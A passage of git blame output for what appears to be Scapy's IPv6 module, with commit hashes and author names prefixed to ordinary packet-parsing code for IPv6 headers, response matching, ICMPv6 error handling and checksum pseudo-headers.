320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if type(i) is list:
321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return len(i)
322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
325c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        c = l = None
326c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.length_from is not None:
327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = self.length_from(pkt)
328c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.count_from is not None:
329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            c = self.count_from(pkt)
3300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
331c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        lst = []
332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        ret = ""
333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        remain = s
334c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is not None:
335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain,ret = s[:l],s[l:]
336c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while remain:
337c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if c is not None:
338c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if c <= 0:
339c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                c -= 1
341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = inet_ntop(socket.AF_INET6, remain[:16])
342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            lst.append(addr)
343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain = remain[16:]
344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return remain+ret,lst
345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
346c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
34777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        s = ''
348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for y in x:
349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
350c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = inet_pton(socket.AF_INET6, y)
351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
352c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0]
353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = inet_pton(socket.AF_INET6, y)
354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += y
35577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return s
356c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
357c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self,pkt,x):
358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = []
35977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if x == None:
36077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return "[]"
36177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        for y in x:
36277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            s.append('%s' % y)
363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "[ %s ]" % (", ".join(s))
3640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
3650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _IPv6GuessPayload:
366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Dummy class that implements guess_payload_class() for IPv6"
367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def default_payload_class(self,p):
368b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon        if self.nh == 58: # ICMPv6
369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            t = ord(p[0])
370505336e8b146b3f85ece8690f3a434f6a97dfe1fmtu            if len(p) > 2 and (t == 139 or t == 140): # Node Info Query
371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return _niquery_guesser(p)
372b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon            if len(p) >= icmp6typesminhdrlen.get(t, sys.maxint): # Other ICMPv6 messages
373b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                return get_cls(icmp6typescls.get(t,"Raw"), "Raw")
374b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon            return Raw
375d5f51f6843ffa1d375e947a5cb03965b5291129dPierre LALET        elif self.nh == 135 and len(p) > 3: # Mobile IPv6
376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return _mip6_mhtype2cls.get(ord(p[2]), MIP6MH_Generic)
37735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        elif self.nh == 43 and ord(p[2]) == 4:  # Segment Routing header
37835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            return IPv6ExtHdrSegmentRouting
37935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return get_cls(ipv6nhcls.get(self.nh, "Raw"), "Raw")
380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6(_IPv6GuessPayload, Packet, IPTools):
382c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6"
383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ BitField("version" , 6 , 4),
384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("tc", 0, 8), #TODO: IPv6, ByteField ?
38577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("fl", 0, 20),
38677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    ShortField("plen", None),
387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("nh", 59, ipv6nh),
388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("hlim", 64),
389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    SourceIP6Field("src", "dst"), # dst is for src @ selection
390104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET                    DestIP6Field("dst", "::1") ]
391614f54fc4b269030ba2934b6c353fb43de886e04Phil
392614f54fc4b269030ba2934b6c353fb43de886e04Phil    def route(self):
393614f54fc4b269030ba2934b6c353fb43de886e04Phil        dst = self.dst
394614f54fc4b269030ba2934b6c353fb43de886e04Phil        if isinstance(dst,Gen):
395614f54fc4b269030ba2934b6c353fb43de886e04Phil            dst = iter(dst).next()
396614f54fc4b269030ba2934b6c353fb43de886e04Phil        return conf.route6.route(dst)
397614f54fc4b269030ba2934b6c353fb43de886e04Phil
398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s > %s (%i)" % (self.src,self.dst, self.nh)
400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
40277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        p += pay
403c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.plen is None:
404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = len(p) - 40
405c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            p = p[:4]+struct.pack("!H", l)+p[6:]
406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return p
407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.plen
410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:l], s[l:]
411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
413c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 58 and isinstance(self.payload, _ICMPv6):
414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if self.payload.type < 128:
415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return self.payload.payload.hashret()
416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif (self.payload.type in [133,134,135,136,144,145]):
417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return struct.pack("B", self.nh)+self.payload.hashret()
418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
419db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet        if not conf.checkIPinIP and self.nh in [4, 41]:  # IP, IPv6
420db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            return self.payload.hashret()
421db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet
42277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        nh = self.nh
42377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        sd = self.dst
42477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ss = self.src
425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting):
4260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # With routing header, the destination is the last
4270d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # address of the IPv6 list if segleft > 0
42877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            nh = self.payload.nh
42977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            try:
43077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = self.addresses[-1]
43177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            except IndexError:
43277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = '::1'
43377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            # TODO: big bug with ICMPv6 error messages as the destination of IPerror6
43477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            #       could be anything from the original list ...
43577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if 1:
43677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = inet_pton(socket.AF_INET6, sd)
43777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                for a in self.addresses:
43877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    a = inet_pton(socket.AF_INET6, a)
43977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    sd = strxor(sd, a)
44077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = inet_ntop(socket.AF_INET6, sd)
441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
44235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting):
44335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # With segment routing header (rh == 4), the destination is
44435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # the first address of the IPv6 addresses list
445f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            try:
446f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                sd = self.addresses[0]
447f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            except IndexError:
448f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                sd = self.dst
449f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment):
4510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            nh = self.payload.nh
452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
453c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop):
4540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            nh = self.payload.nh
455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
456c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):
457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            foundhao = None
458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            for o in self.payload.options:
459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if isinstance(o, HAO):
460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    foundhao = o
461c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if foundhao:
462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                nh = self.payload.nh # XXX what if another extension follows ?
463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ss = foundhao.hoa
464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
465a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon        if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd):
466c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            sd = inet_pton(socket.AF_INET6, sd)
467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ss = inet_pton(socket.AF_INET6, self.src)
468a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon            return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret()
469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return struct.pack("B", nh)+self.payload.hashret()
471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
473db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet        if not conf.checkIPinIP:  # skip IP in IP and IPv6 in IP
474db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if self.nh in [4, 41]:
475db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.payload.answers(other)
476db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if isinstance(other, IPv6) and other.nh in [4, 41]:
477db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.answers(other.payload)
478db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if isinstance(other, IP) and other.proto in [4, 41]:
479db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.answers(other.payload)
480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, IPv6): # self is reply, other is request
481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return False
4820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        if conf.checkIPaddr:
483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ss = inet_pton(socket.AF_INET6, self.src)
484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            sd = inet_pton(socket.AF_INET6, self.dst)
485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            os = inet_pton(socket.AF_INET6, other.src)
486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            od = inet_pton(socket.AF_INET6, other.dst)
48777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            # request was sent to a multicast address (other.dst)
4880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # Check reply destination addr matches request source addr (i.e
489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # sd == os) except when reply is multicasted too
490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX test mcast scope matching ?
491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if in6_ismaddr(other.dst):
492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if in6_ismaddr(self.dst):
4930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    if ((od == sd) or
494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))):
495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                         return self.payload.answers(other.payload)
496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return False
4970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                if (os == sd):
498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return self.payload.answers(other.payload)
499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
5000d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            elif (sd != os): # or ss != od): <- removed for ICMP errors
501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
502c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128:
503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # ICMPv6 Error message -> generated by IPv6 packet
504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # Note : at the moment, we jump the ICMPv6 specific class
505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # to call answers() method of erroneous packet (over
506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # initial packet). There can be cases where an ICMPv6 error
507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # class could implement a specific answers method that perform
508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # a specific task. Currently, don't see any use ...
509c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other)
510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop):
5110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            return self.payload.answers(other.payload.payload)
512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment):
5130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            return self.payload.answers(other.payload.payload)
514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting):
515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting
51635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting):
517f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            return self.payload.answers(other.payload.payload)  # Buggy if self.payload is a IPv6ExtHdrRouting
518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt):
519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other.payload.payload)
520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance
521c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other.payload)
522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if (self.nh != other.nh):
524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.answers(other.payload)
526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
527614f54fc4b269030ba2934b6c353fb43de886e04Phil
5286a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadondef inet6_register_l3(l2, l3):
5296a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadon    return getmacbyip6(l3.dst)
5306a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadonconf.neighbor.register_l3(Ether, IPv6, inet6_register_l3)
531614f54fc4b269030ba2934b6c353fb43de886e04Phil
532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPerror6(IPv6):
534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 in ICMPv6"
535c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, IPv6):
537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return False
53877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        sd = inet_pton(socket.AF_INET6, self.dst)
53977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ss = inet_pton(socket.AF_INET6, self.src)
54077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        od = inet_pton(socket.AF_INET6, other.dst)
54177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        os = inet_pton(socket.AF_INET6, other.src)
542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
54377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        # Make sure that the ICMPv6 error is related to the packet scapy sent
54477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128:
5450d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # find upper layer for self (possible citation)
547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            selfup = self.payload
548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while selfup is not None and isinstance(selfup, _IPv6ExtHdr):
549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                selfup = selfup.payload
550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # find upper layer for other (initial packet). Also look for RH
552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            otherup = other.payload
553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            request_has_rh = False
554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while otherup is not None and isinstance(otherup, _IPv6ExtHdr):
555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if isinstance(otherup, IPv6ExtHdrRouting):
556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    request_has_rh = True
557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                otherup = otherup.payload
558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
5590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            if ((ss == os and sd == od) or      # <- Basic case
5600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                (ss == os and request_has_rh)): # <- Request has a RH :
561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                #    don't check dst address
5620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
5630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                # Let's deal with possible MSS Clamping
5640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                if (isinstance(selfup, TCP) and
565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    isinstance(otherup, TCP) and
566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options != otherup.options): # seems clamped
567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
5680d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    # Save fields modified by MSS clamping
569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_opts    = otherup.options
570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_cksum   = otherup.chksum
571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_dataofs = otherup.dataofs
572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_opts     = selfup.options
573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_cksum    = selfup.chksum
574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_dataofs  = selfup.dataofs
575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # Nullify them
577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.options = []
578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.chksum  = 0
579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.dataofs = 0
580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options  = []
581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.chksum   = 0
582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.dataofs  = 0
583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # Test it and save result
585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    s1 = str(selfup)
586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    s2 = str(otherup)
587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    l = min(len(s1), len(s2))
588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    res = s1[:l] == s2[:l]
589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # recall saved values
591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.options = old_otherup_opts
592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.chksum  = old_otherup_cksum
593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.dataofs = old_otherup_dataofs
594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options  = old_selfup_opts
595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.chksum   = old_selfup_cksum
596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.dataofs  = old_selfup_dataofs
597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return res
599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s1 = str(selfup)
601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s2 = str(otherup)
602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = min(len(s1), len(s2))
603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s1[:l] == s2[:l]
604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return False
6060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return Packet.mysummary(self)
609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                 Upper Layer Checksum computation                      ###
614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation
618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Pseudo IPv6 Header"
619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ IP6Field("src", "::"),
620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("dst", "::"),
62177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    ShortField("uplen", None),
622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("zero", 0, 24),
6230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteField("nh", 0) ]
624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef in6_chksum(nh, u, p):
626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Performs IPv6 Upper Layer checksum computation. Provided parameters are:
